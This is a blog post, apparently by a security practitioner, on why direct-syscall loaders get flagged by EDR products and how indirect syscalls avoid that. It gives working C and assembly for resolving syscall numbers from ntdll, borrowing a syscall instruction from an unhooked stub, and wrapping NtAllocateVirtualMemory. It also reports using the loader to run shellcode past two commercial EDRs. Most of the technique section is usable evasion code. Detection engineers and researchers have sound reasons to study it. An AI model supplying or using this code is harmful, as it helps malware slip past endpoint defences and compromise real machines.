A dead loader
I spent a Saturday morning watching a direct syscall loader get flagged. It had worked six months earlier against the same EDR, same major version, and now it was dying within seconds of the allocation call. Nothing had changed on my end. Same stub, same SSN resolution, same target process. The only difference was on the EDR's side.
So I did what you do. Attached a debugger, stared at the call stack, and started thinking about what an EDR actually sees when a syscall fires from somewhere it shouldn't. That question turned into a weekend of work and this post.
The hook
Most EDR products hook user-mode APIs the same way. When your process starts, ntdll.dll gets loaded first, and then the EDR's injected DLL patches the first few bytes of whichever Nt* functions it cares about. The patch is usually an unconditional JMP that redirects execution into the EDR's own code, where it can inspect the arguments and decide whether to let the call through.
An unhooked NtAllocateVirtualMemory stub in ntdll looks like this on a recent Windows 10 build:
1 4C 8B D1 mov r10, rcx
2 B8 18 00 00 00 mov eax, 18h ; SSN, varies per build
3 F6 04 25 08 03 FE 7F test byte ptr [7FFE0308h], 1
4 75 03 jne _via_int2e
5 0F 05 syscall
6 C3 ret
7 CD 2E int 2Eh ; fallback, not interesting
8 C3 ret
The important part is lines 1 and 2. The stub copies the first argument from rcx into r10 (because the syscall instruction clobbers rcx with the return address), then loads the syscall service number into eax. Then it hits syscall, the CPU transitions to the kernel, and the SSN in eax tells the kernel which function to dispatch.
After the EDR hooks this function, the first five bytes become something like E9 XX XX XX XX, a near JMP to the EDR's hook handler. When your code calls NtAllocateVirtualMemory, it never reaches the real stub. It lands in the EDR, which looks at the arguments, decides whether you're doing something suspicious, and either forwards the call or kills your process.
This works because every user-mode process loads ntdll.dll, and the EDR patches it early, before your code runs. You cannot call an Nt* function through the normal path without passing through the hook first.
The first bypass
The direct syscall technique was the obvious counter. If the EDR is hooking the function in ntdll, don't call the function in ntdll. Instead, figure out the SSN for the function you want, write your own tiny stub that loads that SSN and executes a syscall instruction, and call it from your own code. You never touch ntdll's hooked function at all.
This worked well for a while. The EDR's hook never fires because you never call into ntdll. You're making the same kernel transition with the same SSN, but through your own code instead of the patched function. Tools like SysWhispers automated the whole thing. Generate the stubs, link them in, done.
For a couple of years, direct syscalls were the standard bypass for user-mode hooks.
Then EDRs adapted.
What changed
The problem with direct syscalls, from the attacker's perspective, is that the syscall instruction itself has an address. And that address is visible.
When syscall fires, the CPU saves the user-mode instruction pointer in rcx before jumping into the kernel. On the kernel side, callback routines and instrumentation hooks can examine this saved state. The EDR knows where ntdll.dll is mapped in your process. If the syscall instruction executed from an address outside ntdll's range, something is wrong. Legitimate code calls ntdll. Shellcode and custom stubs don't.
This is what killed my Saturday morning loader. The syscall itself was fine. The SSN was correct. The arguments were correct. But the instruction pointer at the moment of the syscall was pointing into a private allocation in my binary, and the EDR flagged exactly that.
Some EDRs also walk the user-mode stack from their kernel callbacks. With a direct syscall, the return address on the stack points into your code, not into ntdll. The entire call chain looks wrong from the bottom up.
Going indirect
The fix is almost embarrassingly simple once you see the problem clearly. The EDR checks where the syscall instruction lives. So don't move the syscall instruction out of ntdll. Leave it right where it is.
An indirect syscall works like this. You set up the registers yourself, exactly the way ntdll's stub would, and then you JMP (not CALL) to the syscall instruction inside the real ntdll function. The syscall opcode executes from ntdll's memory range. The saved instruction pointer in the kernel points into ntdll. When the kernel returns via sysret, execution lands on the ret instruction after the syscall in ntdll. That ret pops the return address from the stack and control comes back to your code.
From the EDR's point of view, the syscall instruction is at a legitimate address inside ntdll. The immediate return address after the syscall is in ntdll. A single-frame stack check passes. The same kernel function runs with the same arguments. All that changed is where the setup happens.
To pull this off, you need two things: the SSN for the function you want to call, and the address of a syscall instruction inside ntdll.
Resolving the SSN
The SSN lives right there in the function stub, at a fixed offset. The first three bytes of an unhooked Nt* function are 4C 8B D1 (mov r10, rcx), and the next instruction is mov eax, <SSN> starting with opcode B8. The four-byte SSN sits at offset +4 from the function's entry point. We just read it.
Below is a small function that resolves SSNs by walking ntdll's export table:
DWORD GetSSN(const char *funcName) {
HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
if (!hNtdll) return (DWORD)-1;
PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)hNtdll;
PIMAGE_NT_HEADERS nt = (PIMAGE_NT_HEADERS)(
(BYTE *)hNtdll + dos->e_lfanew);
PIMAGE_EXPORT_DIRECTORY exports = (PIMAGE_EXPORT_DIRECTORY)(
(BYTE *)hNtdll +
nt->OptionalHeader.DataDirectory[
IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);
DWORD *names = (DWORD *)((BYTE *)hNtdll + exports->AddressOfNames);
WORD *ordinals = (WORD *)((BYTE *)hNtdll + exports->AddressOfNameOrdinals);
DWORD *funcs = (DWORD *)((BYTE *)hNtdll + exports->AddressOfFunctions);
for (DWORD i = 0; i < exports->NumberOfNames; i++) {
char *name = (char *)((BYTE *)hNtdll + names[i]);
if (strcmp(name, funcName) != 0) continue;
BYTE *addr = (BYTE *)hNtdll + funcs[ordinals[i]];
// unhooked stub starts with: 4C 8B D1 B8
if (addr[0] == 0x4C && addr[1] == 0x8B &&
addr[2] == 0xD1 && addr[3] == 0xB8) {
return *(DWORD *)(addr + 4);
}
// bytes don't match, function is hooked
return (DWORD)-1;
}
return (DWORD)-1;
}
The byte check at the function entry does double duty. If the first four bytes aren't 4C 8B D1 B8, the function has been hooked and the SSN we'd read would be garbage. The function returns -1 to signal that.
When the target function is hooked and you can't read the SSN directly, there's a backup approach. The Nt* stubs in ntdll are laid out in memory in order of their SSN. If you enumerate every Nt* export, sort them by address, each function's position in that sorted list is its SSN. This works even when some stubs are hooked, because the EDR's JMP patch doesn't move the function's entry point in the export table.
I didn't end up needing the sorting approach for the three EDRs I tested, since they all left enough stubs unhooked to resolve SSNs directly. But it's good to have in the back pocket.
The syscall address
We also need the address of an actual syscall instruction inside ntdll. We could scan forward from the target function's entry point for the 0F 05 opcode, but if that function is hooked, the first bytes are a JMP and scanning past them gets unreliable.
The easier approach is to pick a different Nt* function that hasn't been hooked. The syscall instruction doesn't care which function body it lives in. It's just a CPU instruction that transitions to the kernel. The SSN in eax determines which kernel routine runs, so we can borrow the syscall instruction from any unhooked stub:
PVOID GetSyscallAddr(const char *funcName) {
BYTE *addr = (BYTE *)GetProcAddress(
GetModuleHandleA("ntdll.dll"), funcName);
if (!addr) return NULL;
// scan forward for the syscall opcode: 0F 05
for (int i = 0; i < 32; i++) {
if (addr[i] == 0x0F && addr[i + 1] == 0x05) {
return (PVOID)(addr + i);
}
}
return NULL; // stub is weird or we're scanning the wrong thing
}
I used NtQueryInformationToken as my donor function because no EDR I've tested bothers hooking it. Any obscure Nt* function will do. The less interesting it is to an EDR, the better.
The stub
The actual indirect syscall is tiny:
.data
wSSN dd 0
qSyscallAddr dq 0
.code
IndirectSyscall proc
mov r10, rcx ; first arg -> r10
mov eax, dword ptr [wSSN] ; load the syscall number
jmp qword ptr [qSyscallAddr] ; jump into ntdll
; ntdll's ret brings us back to the caller
IndirectSyscall endp
end
That's the whole thing. The wSSN and qSyscallAddr globals get set by the C code before each call.
We use jmp, not call, to reach the syscall instruction in ntdll. A call would push an extra return address onto the stack, which would break the stack layout the kernel expects. The jmp just transfers control without touching the stack.
So, what happens after the jump? The syscall instruction fires from inside ntdll. The CPU saves the address of the next instruction (ntdll's ret) and transitions to the kernel. The kernel dispatches based on the SSN in eax, does its work, and returns. Execution resumes at that saved address, which is the ret inside ntdll. That ret pops the return address that was pushed when our C code called IndirectSyscall. Control comes back to the caller cleanly.
If an EDR does a one-frame stack walk from a kernel callback, it sees the instruction pointer inside ntdll. Everything looks normal.
The wrapper
Bringing it together, here's a wrapper that calls NtAllocateVirtualMemory via indirect syscall:
// globals defined in indirect.asm
extern DWORD wSSN;
extern UINT64 qSyscallAddr;
extern NTSTATUS IndirectSyscall();
NTSTATUS IndirectNtAllocateVirtualMemory(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect)
{
wSSN = GetSSN("NtAllocateVirtualMemory");
qSyscallAddr = (UINT64)GetSyscallAddr(
"NtQueryInformationToken");
if (wSSN == (DWORD)-1 || qSyscallAddr == 0)
return STATUS_UNSUCCESSFUL;
return IndirectSyscall(
ProcessHandle, BaseAddress, ZeroBits,
RegionSize, AllocationType, Protect);
}
Set the globals, call the assembly stub as if it were the real function. The calling convention works out because the C compiler sets up rcx, rdx, r8, r9, and the stack in the standard x64 layout. The stub copies rcx to r10, loads the SSN, and jumps. Arguments 5 and 6 are already on the stack where the kernel expects them. Nothing needs adjusting.
Notice that we resolve the SSN from NtAllocateVirtualMemory but grab the syscall address from NtQueryInformationToken. The SSN tells the kernel what to do. The syscall instruction is just the door. Any door works.
Three EDRs, two bypasses
I tested this against three commercial EDRs in my lab over that weekend, all updated to their latest versions as of February 2026. I'm not naming them because the point here isn't to call anyone out, and these results have a shelf life measured in months.
The first two EDRs were fully bypassed. No alerts, no blocks. The allocation succeeded, the shellcode ran, I got a callback. Both products are known for aggressive user-mode hooking, and both apparently check only the immediate return context of the syscall. The indirect approach sailed through.
The third EDR caught it. But not because of the indirect syscall. The syscall itself went through clean. The detection fired on a behavioral heuristic that watches the pattern of allocate, write, change protections, create remote thread. The EDR didn't care how I called NtAllocateVirtualMemory. It cared about what I did after.
That third result is the interesting one. Indirect syscalls solve the specific problem of user-mode hook bypass and RIP-based origin detection. They don't solve the broader problem of looking suspicious to behavioral analysis. If you allocate RWX memory, copy in shellcode, flip protections, and launch a thread, some EDRs will flag that pattern regardless of how you made the underlying system calls. The mechanism of the call was invisible. The shape of the behavior was not.
None of this is new. The technique is well-trodden ground, and the cat-and-mouse between indirect syscalls and stack inspection heuristics has been going back and forth for a while. I wrote it up because when I went looking for a clear explanation of why indirect syscalls work from the EDR's perspective, most of what I found covered the how without spending much time on the why. Hopefully this fills that gap for someone. Next time I might get into the stack-spoofing techniques that address the behavioral detection side of the problem.